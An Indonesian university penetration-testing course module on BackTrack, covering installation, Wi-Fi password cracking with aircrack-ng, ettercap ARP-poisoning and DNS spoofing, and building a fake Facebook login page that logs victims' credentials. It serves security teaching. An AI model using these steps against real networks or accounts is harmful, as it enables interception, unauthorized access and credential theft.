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BAB  1   PENGENALAN  BACKTRACK    



1.1  



Tujuan     • •



Peserta  mengenal  dan  mengetahui  apa  itu  Backtrack   Peserta  mampu  dan  mengerti  bagaimana  cara  installasi  Backtrack    



  Peretasan  jaringan  adalah  salah  satu  kegiatan  yang  sangat  menarik,  baik  untuk   kebutuhan   pengujian   maupun   penyerangan.   Dengan   menguasai   berbagai   tool   untuk   peretasan   jaringan,   anda   bisa   mengamankan   sistem   anda   dengan   lebih   baik   dan   mengetahui   modus-‐modus   penyerangan   sistem.   Selain   itu,   anda   juga   akan   tahu   bagaimana   caranya   mengumpulkan   informasi   untuk   mengenali   lingkungan   sistem,   lalu   belajar  bagaimana  membuat  eksploit,  mengecek  kerentanan,  dan  memasukkan  muatan   (payload)  untuk  mengeksploitasi    kerentanan  yang  ada.       Backtrack   adalah   sistem   operasi   khusus   yang   diciptakan   untuk   melakukan   penetrasi   kemanan   komputer   yang   paling   terkenal   dan   digunakan   baik   oleh   seorang   pakar  keamanan  komputer  maupun  para  hacker.  Ibarat  pedang  bermata  dua,  Backtrack   memang  menyediakan  alat  yang  lengkap  untuk  keduanya.    



1.2  



Sejarah  Backtrack  



Penemu   dan   pengembang   utama   dari   BackTrack   bernama   Mati   Aharoni   dan   Max  Mosser.  BackTrack  terbentuk  dari  sebuah  kolaborasi  komunitas.  BackTrack  sendiri   merupakan   merger   dari   whax   yang   merupakan   salah   satu   distro   Linux   yang   digunakan   untuk   audit   keamanan   jaringan   dan   aplikasi   komputer.     Whax   sendiri   dibangun   atas   dasar  sistem  operasi  Knoppix.   Ketika  Knoppix  mencapai  versi  3.0  maka  dinamakan  dengan  whax.  Whax  dapat   digunakan  untuk  melakukan  tes  sekuriti  dari  berbagai  jaringan  di  mana  saja.  Max  Mosser   merupakan   author   dari   auditor   security   collection   yang   mengkhususkan   dirinya   untuk   pengembangan   perangkat   lunak   yang   digunakan   dalam   penetrasi   keamanan   yang   terintegrasi  dengan  Linux.  Gabungan  dari  auditor  dan  Whax  ini  sendiri  menghasilkan  300   tools  yang  digunakan  untuk  auditor  keamanan  jaringan.  Auditor  security  collection  juga   terdapat  pada  Knoppix.     Demi    mengikuti  perkembangan  dunia  keamanan  serta  adanya  expired  tools   atau  tidak  validnya  lagi  sebuah  tools  dalam  menghadapi  atau  menguji  sistem  operasi   baik   dari   segi   keabsahan   versi,   adanya   patching   atau   perbaikan   vendor   serta   integritas  dan    despiensis  pada  sistem  linux  BackTrack  itu  sendiri.  
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No   1  



2  



Tanggal   Release   26 – 05 – 2006  



13 – 10 – 2006  



Versi   versi non beta 1.0  



Basis   Linux  



 



versi 2 beta    



3  



4  



19 – 11 – 2006  



06 – 03 - 2007  



BackTrack versi 2 beta kedua  



5  



6  



17 – 12 – 2007  



19 – 03 - 2008  



BackTrack versi 3 beta  



7  



11 – 01 - 2010  



8  



11 – 07 - 2010  



Sudah mulai sempurna dan memiliki banyak penambahan tools.  



 



 



Lebih menjurus kepada sistem tools wireless attack.  



Adanya penyempurnaan dalam sistem serta tools.  



 



BackTrack versi 4   final  



Berbentuk live CD dan menggunakan KDE Desktop.  



 



BackTrack versi 3   final  



Masih versi beta dan memiliki banyak kekurangan  



Masih belum banyak perubahan pada sisi fisik.  



BackTrack versi 2   final  



Keterangan  



 



Menggunakan KDE desktop berbasis ubuntu sistem memudahkan user dalam pengoperasian.   Penambahan tools.  



BackTrack versi 4 R1    



9  



10  



Oktober - 2010  



10 – 05 - 2011  



 



Upgrade kernel dan penyesuaian pada beberapa vendor hardware.  



 



Semakin mengarah kepada friendly user dengan mengacu penggunaan gnome desktop sebagai desktop environment.  



BackTrack versi 4 R2   BackTrack versi 5   final  
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10 – 08 - 2011  



Penambahan beberapa tools forensik.  



BackTrack versi 5 R1    



 



 



1.3  



Instalasi  Backtrack  



  Langkah-‐langkah  untuk  menginstal  Backtrack  tentu  saja  anda  harus  men-‐set   boot   order   (Firstboot)   pada   pc   atau   laptop   anda   mengarah   kepada   media   yang   terdapat  instalasi  Backtrack  baik  melalui  USB  (universal  serial  bus)  storage  ataupun   DVD   player   jika   image   installer   Backtrack   disiapkan   pada   keping   dvd.   Langkah-‐ langkahnya  antara  lain:     Booting  via  DVD  BackTarck  5  



  Bersabarlah  menunggu  sampai  booting  selesai.      
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Setelah  muncul  shell,  ketikan     #  startx     untuk  memulai  ke  mode  GUI.  



  Lalu   klik   dua   kali   pada   icon   “Install   Backtrack”   atau   jalan   script   install.sh   melalui   terminal.  
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Pemilihan   bahasa   yang   akan   anda   gunakan   (defaultnya   adalah   Bahasa   Inggris)   kemudian   klik  “Forward”  untuk  melanjutkan.  



  Pemilihan   Zona   waktu.   Klik   daerah   sekitar   maka   dia   otomatis   akan   menentukan   zona   waktu  dan  kota  yang  anda  pilih.  
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Pilih   Layout   Keyboard   yang   anda   gunakan   (default   USA),   kemudian   klik   “Forward”   kembali.  



  Pembuatan  partisi,  pilih  “Specify  partitions  manually  (Advenced)”.  Lalu  klik  “Forward”.  
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Pilih  “New  Partition  Table”  (pada  contoh  gambar  di  bawah,  Harddisk  yang  kita  gunakan   masih   kosong).   Bila   ingin   dualboot   dengan   dengan   OS   lain,   hapus   partisi   yang   anda   siapkan   untuk   diinstal   Backtrack   dengan   memilih   partisi   tersebut   lalu   klik   “Delete”,   kemudia   klik   “Add”   untuk   membuat   partisi   baru.   “Use   as:”   pilih   Ext4   journaling   file   system,  “Mount  point:”  pilih  “/”.  



  Tahap   berikut   adalah   pembuatan   swap   atau   memory   cadangan.   Klik   “Add”,   lalu   “Use   as:”  pilih  “swap  area”,  klik  “OK”.  Setelah  itu,  klik  “Forward”  untuk  melanjutkan  Instalasi.  
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  Jika  semua  pengaturan  sudah  dilakukan  untuk  menginstall  Backtrack,  klik  “Install”.  



    Proses   instalasi   akan   membutuhkan   waktu   yang   lama,   terlebih   lagi   pada   saat   99%   itu   yang   sangat   lama   (bukan   terjadi   error).   Bila   selesai,   maka   pilih   “restart”   atau   “reboot”   sistem.  
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    Setelah  reboot  dan  booting  selesai,  lalu  login  dengan  default  username  dan  password   Username  :  root   Password  :  toor   Sekarang  Backtrack  sudah  berhasil  terinstal  pada  komputer  anda.    



1.4  



Kategori  Tools  Pada  Backtrack  



  Backtrack   merupakan   sistem   operasi   yang   berisi   kumpulan   tools   untuk   melakukan  penetrasi.  Kategori  tools  pada  menu  naga  backtrack  berjumlah  lebih  dari  300   tools/aplikasi.  Untuk  menampilkannya  anda  tinggal  mengetikkan  perintah  :   #  dpkg  -‐-‐list  



  1.4.1  



Information  Gathering  



  Information  gathering  adalah  sub  tools  yang  berisi  tools  –  tools  yang  digunakan   atau   berhubungan   dengan   mengumpulkan   informasi.   Seorang   attacker   akan   terlebih   dahulu   mengumpulkan   informasi-‐informasi   targetnya   sebelum   dia   akan   melakukan   eksploitasi   dan   eksplorasi.   Informasi   yang   dikumpulkan   biasanya   informasi   IP   address  
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(Internet   Protocol   Address),   port,   protokol,   dns,   record.   Contoh   tools   yang   sering   digunakan  disini  adalah  nmap,  hping,  unicorn,  dan  openvas.       Information  Gathering  merupakan  salah  satu  sesi  yang  sangat  penting  di  dalam   uji   penetrasi,   karena   ini   adalah   metode   awal   yang   harus   dilakukan   dalam   mencapai   kesuksesan  seorang  attacker.  



  1.4.2  



Vulnerability  Assesment  



Vulnerability   Assesment   (VA)   diterjemahkan   dalam   bahasa   Indonesia   menjadi   “pengukuran   kelemahan   serangan”,   suatu   kata   yang   bikin   kita   berpikir   panjang  apa  maksudnya.  Vulnerability  memang  tidak  memiliki  terjemahan  yang  pas   dalam   bahasa   Indonesia,   dari   kamus   Oxford   arti   vulnerable   adalah:   “exposed   to   being   attacked   or   harmed,   either   physically   or   emotionally”.   Sebenarnya   paling   mudah   adalah   menerjemahkan   vulnerability   sebagai   kelemahan   atas   serangan   dari   luar.      
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1.4.3  



Exploitation  Tools  



  Exploitation  tools  adalah  sub  tools  menu  yang  berisi  tools-‐tools  yang  dipakai   untuk  melakukan  tindakan  eksplotasi  setelah  tahap  pengumpulan  informasi  dan  VA   selesai.   Dapat   disimpulkan   bahwa   pada   kategori   tools   ini,   pentester   akan   mencoba  



melakukan   penyerangan   terhadap   setiap   vulnerability   yang   telah   diketahui   sebelumnya.   1.4.4  



Privilege  Escalation  



    Privilege   Escalation   (PE)   adalah   tindakan   mengeksploitasi   bug,   Kesalahan   design   atau   pengawasan   konfigurasi   dalam   suatu   sistem   operasi   atau   aplikasi   perangkat  lunak  untuk  mendapatkan  akses  ke  sumber  daya  tertinggi  yang  biasanya   dilindungi   dari   aplikasi   atau   pengguna.   Sehingga   PE   dapat   melakukan   perubahan-‐ perubahan  atau  tindakan-‐tindakan  lainnya  yang  memiliki  otoritas  tertentu.    
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1.4.5  



Maintaining  Access  



    Biasanya  setelah  melakukan  eksplotasi  dan  PE,  attacker  akan  meninggalkan   pintu   masuk   (backdoors)   yang   nantinya   akan   membuka   suatu   kesempatan   atau   peluang   untuk   kembali   memasuki   sistem   tersebut   kapan   saja.   Subtools   ini   berisi   tools–tools  untuk  menciptakan  backdoor-‐backdoor  tertentu.     1.4.6  



Reverse  Engineering  



  Reverse  engineering  adalah  suatu  proses  yang  bertujuan  untuk  menemukan   prinsip-‐prinsip   teknologi   perangkat   tertentu,   obyek,   atau   sistem   melalui   analisis   struktur,   fungsi,   dan   operasi.   Reverse   engineering   analisis   hardware   untuk  



keuntungan   komersial   atau   militer.   Tools   terkait   adalah   :   android-‐sdk,   apktool,   binwalk,   ded,   dex2jar,   edb-‐debugger,   flasm,   gdb.py,   jad,   javasnoop,   mercury,   rec-‐ studio,  smali,  strace.py.       1.4.7  



RFID  Tools  



Kumpulan   tools-‐tools   yang   digunakan   untuk   keperluan   RFID.   Berdasarkan   Wikipedia,   RFID   (Radio   Frequency   Identification)   atau   Identifikasi   Frekuensi   Radio   adalah  sebuah  metode  identifikasi  dengan  menggunakan  sarana  yang  disebut  label   RFID  atau  transponder  untuk  menyimpan  dan  mengambil  data  jarak  jauh.  Label  atau   kartu   RFID   adalah   sebuah   benda   yang   bisa   dipasang   atau   dimasukkan   di   dalam   sebuah   produk,   hewan   bahkan   manusia   dengan   tujuan   untuk   identifikasi   menggunakan  gelombang  radio.  Label  RFID  terdiri  atas  microchip  silikon  dan  antena.    
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Label   yang   pasif   tidak   membutuhkan   sumber   tenaga,   sedangkan   label   yang   aktif   membutuhkan  sumber  tenaga  untuk  dapat  berfungsi.       1.4.8  



Stress  Testing  



    Kumpulan  tools  yang  berhubungan  dengan  aksi  ddos  yaitu  tindakan  flooding   yang  didatangkan  dari  kumpulan  hosts  (lebih  dari  satu  hosts).   1.4.9  



Forensics  



  Forensics  digunakan  untuk  melakukan  penyelidikan-‐penyelidikan  pada  kasus-‐ kasus   cybercrime.   Forensics   dilakukan   dengan   berbagai   tools   untuk   menganalisis   file,   software,  hardware  dengan  tujuan  tertentu.  
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  1.4.10   Reporting  Tools     Lebih   kepada   tools   dan   aplikasi   untuk   penggunaan   dokumentasi   dan   laporan   aksi   atau   kegiatan-‐kegiatan   Tools   terkait   :   casefile,   keepnote,   magictree,   maltego,   svreport,  cutycapt,  recordmydesktop     1.4.11   Services     Kumpulan   tools-‐tools   untuk   menjalankan   layanan-‐layanan   serta   daemon-‐ daemon   tertentu   pada   backtrack   Tools   terkait   :   GPSD,   HTTPD-‐apache,   MySQL,   PCSCD,  Snort,  SSHd.       1.4.12   Lain-‐lain  (Miscellaneous)  



Tools   yang   digunakan   untuk   bermacam-‐macam   kebutuhan   lainnya.   Tools   terkait   :   arduiono,   ewizard,   coutilia,   genlist,   install-‐scappy-‐dependencies,   ipcalc,   macchanger,  multimac,  sakis-‐3g,  pwntcha,  wfuzz,  keepnote,  start-‐msfpro      
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BAB  2   WIFIFU  (WIFI  KUNGFU)    



2.1  



Tujuan   • •



2.2  



Peserta  mampu  melakukan  penetrasi  pada  enkripsi  WPA/WPA2   Peserta  mampu  melakukan  penetrasi  pada  enkripsi  WEP  



Aircrack-‐ng  



Aircrack-‐ng  adalah  suatu  tools  auditor  security  yang  ditujukan  untuk  melakukan   penetrasi   pada   kemanan   jaringan   wireless.   Aircrack-‐ng   memiliki   kemampuan   untuk   melakukan   cracking   pada   protokol   radio   802.11   (wireless)   dengan   enkripsi   WEP   dan   WPA/WPA2-‐PSK  dengan  berbagai  metode  seperti  brute  force  attacks.    



2.3    



Airmon-‐ng  



  Airmon-‐ng   adalah   tools   yang   biasa   digunakan   untuk   mengaktifkan   mode   monitor   pada   interface   wireless.   Airmon-‐ng   juga   terkadang   digunakan   untuk  



mengecek   apakah   driver   pada   interface   wireless   dari   hardware   wireless   telah   terbaca  dengan  baik  atau  tidak.    



   



#  airmon-‐ng    



Perintah   airmon-‐ng   di   atas   berfungsi   untuk   melihat   interface   wireless   yang   terdeteksi  dengan  baik.  Untuk  penggunaannya,  kita  bisa  mengetikkan  perintah  :    



#  airmon-‐ng  start  |  stop  [  interface  ]  [  channel  ]  



Keterangan  :   -‐ -‐ -‐ -‐



Start  :  memulai  proses  mode  monitor   Stop  :  menghentikan  proses  mode  monitor   Interface  :  wireless  device   Channel  :  channel  yang  dikehendaki  
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#  airmon-‐ng  start  wlan0  



Perhatikan   bahwa   monitor   mode   enabled   on   mon0.   Secara   default,   mode   monitor   pada   interface   wlan0   akan   di-‐enable   pada   mon0.   Untuk   menghentikan   mode   monitor,  kita  masukkan  perintah  sebaliknya.    



#  airmon-‐ng  stop  mon0  



 



2.4  



Airodump-‐ng    



  Airodum-‐ng   merupakan   tools   yang   digunakan   untuk   menangkap   (capture)   paket   frame   raw   802.11   dan   mengumpulkan   WEP   Ivs   (Initialization   Vectors)   yang   akan   kita   gunakan  pada  tool  aircrack-‐ng.  Jika  anda  mempunyai  GPS  receiver  yang  tersambung  ke   komputer,   airodump-‐ng   sanggup   untuk   menyimpan   koordinat   setiap   akses   point   yang   kita  temukan.   Untuk  menggunakannya,  ketikan  perintah  :   airodump-‐ng        



#  airodump-‐ng    



Sebagai  contoh  penggunaan  airodump-‐ng  dengan  memakai  interface  mon0  yang  sudah   dienable  dengan  airmon-‐ng.   Ketikkan  command  berikut  di  terminal  :    



#  airodump-‐ng  mon0  
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BARIS   - BSSID   - PWR   -



-



KETERANGAN   Informasi mac address accespoint ( AP )   Informasi signal dari interface. Jika signal tersebut besar berarti kita dekat dengan AP dan begitu juga dengan client-client yang lainnya.   Ukuran kemampuan atau kualitas dalam penerimaan RXQ   paket ( manajemen dan data frame )   Beacons   Jumlah announce ment paket yang dikirim oleh AP   Jumlah paket data yang berhasil ditangkap   #data   Jumlah paket data per detik   #s   Channel access point   CH   Kecepatan maksimum dari access point , Ingat ketentuan MB   ini   - MB = 11 berarti 802.11b   - MB = 22 berarti 802.11b+   Enskripsi algoritma yang di gunakan ( wep, wpa, wpa2 )   ENC   Chiper yang terdeteksi   CHIPER   Autentifikasi protokol yang digunakan ( SKA, PSK , OPN )   AUTH   Ssid dari Access point   SSID   STATION   Client mac address   Paket data yang hilang pada 10 detik terakhir   LOST   Jumlah paket yang dikirim oleh client   Packets  



  Sekarang   kita   akan   menangkap   packet   data   pada   akses   point   tertentu   dengan   mengetikkan  perintah  :       #   airodump-‐ng   –c      -‐-‐bssid      -‐w            
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Keluarannya  nanti  akan  seperti  dibawah  ini  dimana  handshake  belum  kita  dapatkan   pada  akses  point  tersebut.  



 



2.5    



Aireplay-‐ng  



  Aireplay-‐ng   adalah   tools   yang   mampu   melakukan   deauthentication   yang   nanntinya   akan   di   gunakan   untuk   menangkap   data   handshake,   authentication   palsu,   interactive  packet  reply,  hand-‐crafted  ARP  request  injection  dan  ARP  request  reinjection   yang  nantinya  akan  digunakan  untuk  menangkap  data  handshake.   Tipe  penyerangan  aireplay-‐ng  diurutkan  dengan  kondisi  numerik  :   Attack  0  :  Deauthentication   Attack  1  :  Fake  authentication   Attack  2  :  Interactive  packet  reply   Attack  3  :  ARP  request  replay  Attack   Attack  4  :  Decrypt  pakect  WEP   Attack  5  :  Fragmentation  Attack   Attack  6  :  Permintaan  ke  client  untuk  Ivs  baru     Attack  7  :  Perpindahan  ke  mode  WPA   Attack  8  :  Perpindahan  ke  mode  WPA   Attack  9  :  Melakukan  injeksi   Untuk  menggunakannya,  ketikkan  perintah  :    



#  aireplay-‐ng  



Sekarang  anda  lakukan  serangan  dengan  deauthentication  atau  memaksa  client  agar   terputus  koneksinya  yang  terhubung  pada  access  point  yang  sedang  ditangkap  paket   datanya  dengan  airodump-‐ng  pada  terminal  baru  dengan  perintah  :  
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#  aireplay-‐ng  -‐0      -‐a    -‐c      



  Serangan   akan   dilakukan   secara   terus   menerus   sampai   jumlah   batas   serangan   yang   sudah  kita  tentukan.  



  Ketika  client  sudah  terputus  dan  terkoneksi  kembali  dengan  access  point,  maka  saat  itu   juga  kita  akan  mendapatkan  handshake  dari  client  yang  terkoneksi  kembali.  



  Handshake   yang   telah   kita   dapatkan   tersebut   tersimpan   dalam   file   hasil   capture   yang   telah  kita  tentukan  pada  saat  menggunakan  airodump-‐ng  dengan  opsi  “–w”.  



    Sekarang   anda   gunakan   file   hasil   capture   tersebut   dengan   tools   aircrack-‐ng   untuk  melakukan  brute  force  berdasarkan  wordlist  yang  kita  punya.  Ketikkan  command   berikut  pada  terminal  untuk  melakukan  metode  brute  force  dengan  aircrack-‐ng  :    



#  aircrack-‐ng  –w      
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Lalu  bersabarlah  sampai  password  tersebut  cocok  dengan  wordlist  yang  kita  punya.  



 



 



  Setalah   program   tersebut   berhenti   dan   menemukan   password   login   ke   akses   point  target,  maka  kita  tinggal  menghubungkannya  ke  akses  point  tersebut.    



2.6  



Fern  Wifi  Cracker  



Fern   wifi   cracker   adalah   tools   audit   security   untuk   wireless   yang   dibangun   dengan   bahasa   python   berbasis   GUI   (Graphical   User   Interface).   Fern   wifi   craker   memudahkan   seorang   network   security   untuk   melakukan   uji   penetrasi   wireless   karena   sudah  berbasis  GUI  tanpa  harus  mengetikan  command  lagi  di  terminal.   Untuk  penggunaannya  anda  dapat  mengakses  melalui  menu  :   Backtrack  >  Exploitation  Tools  >  Wireless  Exploitation  Tools  >  WLAN  Exploitation  >  fern   wifi  cracker.      
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    Ketika   sudah   terbuka,   pilihlah   interface   yang   sudah   terdeteksi   pada   komputer   anda.  



  Kemudian   klik   tombol   “Scanning”   dan   tunggu   hasilnya.   Sebenarnya   pada   saat   melakukan   scanning,   tools   ini   memainkan   interface   monitor   yang   telah   dibuat   pada   pemilihan  wireless  adapter  pada  langkah  pertama  tadi.     Pastikan   bahwa   interface   anda   support   terhadap   injection   mode   pada   keluarga   aircrack-‐ng.  Jika  tidak,  maka  fern-‐wifi  tidak  dapat  melakukan  langkah  selanjutnya.  
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Setelah   melakukan   proses   scanning,   jika   ditemukan   SSID   yang   terenkripsi   pada   area  yang  tertangkap  wireless  kita,  maka  fern-‐wifi  akan  mendatanya.  Pada  kesempatan   ini  saya  akan  memberi  contoh  adanya  wireless  dengan  enkripsi  WEP  terdeteksi  dengan   sempurna.        



Pilihlah  cara  fern-‐wifi  untuk  mengumpulkan  paket  IVs.  Dalam  contoh  kali  ini  saya   memilih  agar  wififern  menggunakan  tekhnik  “Arp  Request  Reply”  ,  lalu  klik  “Attack”.                  
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Selanjutnya   anda   tinggal   menunggu   dengan   sabar   sampai   wififern   mendapatkan   password  WEP  yang  diharapkan.      
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BAB  3   MAN  IN  THE  MIDLE  ATTACK  (MITM)    



3.1  



Tujuan  



• •



Peserta  mengetahui  bagaimana  metode  MITM   Peserta  mampu  mendapatkan  informasi  rahasia  dari  target  serangan  



• •



Peserta  mampu  melakukan  spoofing  terhadap  target  dalam  satu  gateway  



3.2  



Peserta  mampu  menghindari  diri  dari  serangan  MITM  



Dasar  Teori  



Mungkin   banyak   yang   mengira   tujuan   dari   serangan   MITM   adalah   untuk   menyadap  komunikasi  data  rahasia,  seperti  sniffing.  Sniffing  bisa  disebut  sebagai  passive   attack   karena   attacker   tidak   melakukan   tindakan   apa-‐apa   selain   memantau   data   yang   lewat.   Memang   benar   dengan   serangan   MITM,   seorang   attacker   bisa   mengetahui   apa   yang   dibicarakan   oleh   dua   pihak   yang   berkomunikasi.   Namun   sebenarnya   kekuatan   terbesar   dari   MITM   bukan   pada   kemampuan   sniffing-‐nya,   namun   pada   kemampuan   mencegat   dan   mengubah   komunikasi   sehingga   MITM   attack   bisa   disebut   sebagai   jenis   serangan  aktif.  



3.3  



Proses  Terjadinya  MITM  



 



Seorang   attacker   akan   berada   di   tengah-‐tengah   komunikasi   antara   dua   pihak.   Seluruh  pembicaraan  yang  terjadi  di  antara  mereka  harus  melalui  attacker  dulu  sehingga   seorang   Attacker   dengan   leluasa   melakukan   penyadapan,   pencegatan,   pengubahan   bahkan  memalsukan  komunikasi.    
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3.4  



ARP  Poisoning  



ARP   adalah   protokol   yang   berfungsi   memetakan   IP   address   menjadi   MAC   address.   Sebagai   penghubung   antara   data   link   layer   dan   internet   layer   pada   TCP/IP.   Semua  komunikasi  yang  berbasis  ethernet  menggunakan  protocol  ARP  ini.  Intinya  setiap   komputer   atau   device   yang   akan   berkomunikasi   pasti   akan   melakukan   transaksi   atau   tukar  menukar  informasi  terkait  antara  IP  dan  MAC  address  transaksi  akan  disimpan  di   dalam  cache  OS  Anda.    



3.5  



MITM  Menggunakan  Ettercap  



  Ettercap  adalah  sebuah  alat  yang  dibuat  oleh  Alberto  Ornaghi  (AloR)  dan  Marco   Valleri   (NaGa)   yang   pada   dasarnya   adalah   sebuah   perlengkapan   untuk   penyerangan   “penengah”   pada   sebuah   jaringan.   Ettercap   memungkinkan   membentuk   serangan   melawan   protokol   ARP   dengan   memposisikan   diri   sebagai   “penengah”.   Jika   sudah   berada  pada  posisi  tersebut  maka  akan  memungkinkan  untuk:   • • • •



Menginjeksi,  mengganti,  menghapus  data  dalam  sebuah  protokol.   Melihat  password  pada  protokol-‐protokol  seperti  FTP,  HTTP,  POP,  SSH1,  dan   lain-‐lain.   Menyedikan  SSL  sertifikasi  palsu  dalam  bagian  https  pada  korban.   Dan  lain-‐lain  



  3.5.1  



Metode  Serangan  ARP  Poisoning  dan  Sniffing  Attack  



  Jika   kita   menggunakan   serangan   sang   Swiss   Army   Knife   ini   berfungsi   baik   pada   koneksi   jaringan   aman   ssl.   maka   kita   harus   memastikan   bahwa   redir_command_on   script  pada  etter.conf  aktif.  Secara  default  file  etter.conf  di  Backtrack  linux  terletak  pada   direktori     /etc/etter.conf   Untuk  mengaktifkan  script  tersebut,  buka  file  etter.conf  dengan  editor  kesayangan  anda   kemudian  uncomment  baris  di  bawah  ini.  
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  3.5.2  



Metode  Serangan  Ettercap  



  Yang   saya   maksudkan   dengan   metode   serangan   secara   menyeluruh   adalah   serangan   yang   menuju   kepada   seluruh   host   di   bawah   satu   router   (gateway).   Sangat   tidak   disarankan   jika   target   memiliki   jaringan   yang   besar.   Akan   membuat   komposisi   komputer  lambat.  Mungkin  dengan  spec  hardware  yang  tinggi  kita  memiliki  kemampuan   untuk  melakukan  metode  serangan  ini.    



Jika   jaringan   terlalu   besar   ada   baiknya   kita   menyerang   target   ip   yang   di   tentukan.   Serangan  tersebut  dimulai  dengan  syntax  :    



#  ettercap  –T  –q  –w    -‐M  ARP  /xxx.xxx.xxx.xxx/  //  



  Kombinasi  syntax  untuk  serangan  ke  seluruh  network  :   #  ettercap  –T  –q  –M  ARP  //  //  
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    3.5.3  



Spoofing  Plugin  



  Spoofing   adalah   salah   satu   tehnik   MITM   yang   mengalihkan   traffic   dari   jalur   sebenarnya   menuju   kepada   alamat   yang   ditentukan.   Intinya   Attacker   akan   memaksa   target   menuju   pada   alamat   yang   ditentukan   attacker   dengan   menggantikan   alamat   sebenarnya  yang  dituju  target.     Ettercap   memiliki   plugin   untuk   melakukan   jenis   serangan   MITM   ini.   Lakukan   nmap   scanning   seperti   yang   sudah   saya   contohkan   di   awal.   Setelah   kita   telah   mendapatkan  informasi   network,  pastikan  kita  mengaktifkan  ip  forwarding  pada  mesin   attacker.     Untuk  mengaktifkan  ip  forwarding  anda  ketikkan  command  berikut  :   #  echo  1  >  /proc/sys/net/ipv4/ip_forward     Kemudian  konfigurasi  jalur  yang  akan  di-‐spoof  nantinya  yang  dikonfigurasi  pada   file   etter.dns.   Lokasi   file   etter.dns   secara   default   pada   Backtrack   ada   di   direktori   /usr/local/share/ettercap/etter.dns.   Uncommand  atau  gan  baris  ini  dengan  domain  yang  hendak  di-‐spoof  ipnya.  
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  Edit  ip  address  dengan  ip  address  pengganti,  dalam  hal  ini  saya  menggunakan  ip  address   yang   di   gunakan   host   saya   yaitu   192.168.0.196,   dan   hasilnya   akan   mengarahkan   domain   gmail.com  dan  www.gmail.com  ke  ip  192.168.0.196.   Untuk  menjalankan  serangan  tersebut,  ketikkan  command  berikut  di  terminal  :    



#  ettercap  –T  –q  –i    -‐P  dns_spoof  –M  //  //  



Setelah  kita  melakukan  spoofing  tersebut,  maka  client  yang  mencoba  untuk  mengakses   ke  gmail.com  akan  redirect  ke  link  localhost  web  server  anda.  
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3.6  



Phising  Attack  



Pengertian  phissing  di  sini  sebenarnya  adalah  memalsukan  sebuah  halaman   login   suatu   situs   tertentu,   dengan   harapan   agar   korban   tertipu   kemudian   memasukan  sebuah  data  user  name  serta  password  untuk  masuk  ke  sebuah  sistem   yang  akan  tercatat  pada  sebuah  file  log.  Modus  ini  biasanya  dibarengi  dengan  teknik   spoffing  address  yang  akan  mengalihkan  alamat  sebenarnya  menuju  ke  alamat  yang   sudah  disiapkan  fakelogin  tersebut.      



Halaman   palsu   (fakelogin)   yang   profesional   biasanya   akan   mengarahkan   korban   ke   halaman   gagal   login   pada   alamat   yang   sah,   setelah   korban   mengisikan   user   name   dan   password   kemudian   mensubmitnya,   sehingga   korban   tidak   akan   curiga  bahwa  dia  sedang  dimata-‐matai.  Hal  ini  biasa  terjadi  pada  situs-‐situs  berbasis   jejaring  sosial.  



  Ditinjau  dari  media  serangan  :     1.  Local  Area  Network     Serangan   melalui   Local   Area   Network   (LAN)   baik   secara   wired   maupun   wireless.  Serangan  phissing  yang  menginfeksi  dengan  media  ini  ,  biasanya  memulai   serangan   phissing   tersebut   di   mulai   dari   serangan   spoofing   sebagai   pembuka   serangan.   Attacker   biasanya   men-‐spoof   terlebih   dahulu   alamat   situs   yang   di   target   dan   menaruh   halaman   login   palsu   (fakelogin)   pada   localhost   attacker.   Kemudian  



Fakultas  Teknologi  Informasi  Universitas  YARSI  



29  



melanjutkan  dengan  serangan  arpspoof  yang  membelokkan  trafik  router  ke  situs  asli   menuju  ke  fakelogin  yang  telah  disiapkan  di  dalam  localhost  attacker.   2.  NAT     Serangan phissing dengan memanfaatkan media NAT, dengan memanfaatkan dua tipe.



3.6.1  



Serangan  Phissing  dengan  Memanfaatkan  Human  Error  



Attacker   memiliki   pengharapan   agar   target   memiliki   human   error   dengan   membuat   domain   yang   hampir   sama   dengan   situs   asli,   sehingga   korban   yang   tidak   hati-‐hati   akan   tertipu.   Misalnya   pacebook.tk,   pacebook.com   yang   hampir   sama   dengan   nama   situs   aslinya   facebook.com.   Attacker   berharap   target   terkecoh   dengan   miripnya  domain  yang  berisi  fakelogin.      



  3.6.2  



Serangan  Phissing  dengan  Mengkombinasikan  Social  Engineering  



  Attacker   akan   memanfaatkan   metode   pendekatan   untuk   memasukan   virus,   mengirim  fake  email,  pemanfaatan  lawan  jenis,  dan  lain-‐lain.  



  3.6.3  



Membuat  Halaman  Login  Palsu  (Fake  Login)  



  Membuat   halaman   login   sebenarnya   tidak   sesulit   yang   diperkirakan   orang.   Cukup  dengan  memodif  situs  yang  asli.  Contoh  :    



Membuat  fakelogin  facebook  Langkah-‐langkahnya  :     1.  Mengambil  file  index  palsu  dari  situs  target     Langkah  pertama  kita  harus  memiliki  halaman  index  yang  sama  persis.  Buka   dengan  browser  http://facebook.com  kemudian  save  dengan  nama  index.html.     2.  Edit  file  index.html     Setelah   di   download   kita   harus   edit   file   tersebut.   Buka   pake   editor   kesayangan   anda.   Sebagai   contoh   saya   pake   gedit.   {~}:   gedit   index.html   kemudian   cari  kata  “action”  dengan  menggunakan  fasilitas  search  pada  editor  text.  Kemudian   ganti  dengan  kata  “post.php”  .  Lalu  save  dengan  nama  index.php.    
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3.  Buatlah  sebuah  file  php.  Kita  beri  nama  post.php  sesuai  dengan  penggantian  pada   langkah  sebelumnya.   
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fwrite($handle, "\n"); fclose($handle); echo ""; ?>



  4.   Kemudian   kita   buat   file   logs.txt   yang   nantinya   akan   di   gunakan   untuk   mencatat   hasil  dari  input  user  dan  password  dari  fakelogin.     5.  Pindahkan  ketiga  file  tersebut  ,  index.php,  post.php,  log.txt  ke  directori  localhost.   Pada   backtrack   secara   default   ada   pada   /var/www   mengingat   backtrack   menggunakan  apache2  sebagai  localhostnya.     6.  Aktifkan  service  apache2      #  /etc/init.d/apache2  start    



7.   Kemudian   attacker   akan   melanjutkan   serangan   lewat   arpspoof   sehingga   situs   facebook.com  akan  mengarah  kepada  ip  localhost  attacker.    
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BAB  4   STRESS  TESTING  DAN  WEB  ATTACK    



4.1   • • •



4.2  



Tujuan   Peserta  mampu  mengetahui  bagaimana  metode  stress  testing  dan  web  attack     Peserta  mampu  melumpuhkan  suatu  server   Peserta  mampu  untuk  mendapatkan  akses  ke  dalam  suatu  website.    



Stress  Testing  



Stress   Testing   merupakan   suatu   uji   coba   penetrasi   terhadap   kerentanan   serangan   flood   atau   dos   dan   variasinya.   Kerentanan   tersebut   biasanya   dapat   ditanggulangi   dengan   pengelolaan   firewall   dengan   benar.   Banyak   tehnik   flooding   dan   dengan   berbagai   tujuan.   Tujuan   attacker   dalam   melakukan   serangan   dos   /   flooding  :     • • •



4.2.1  



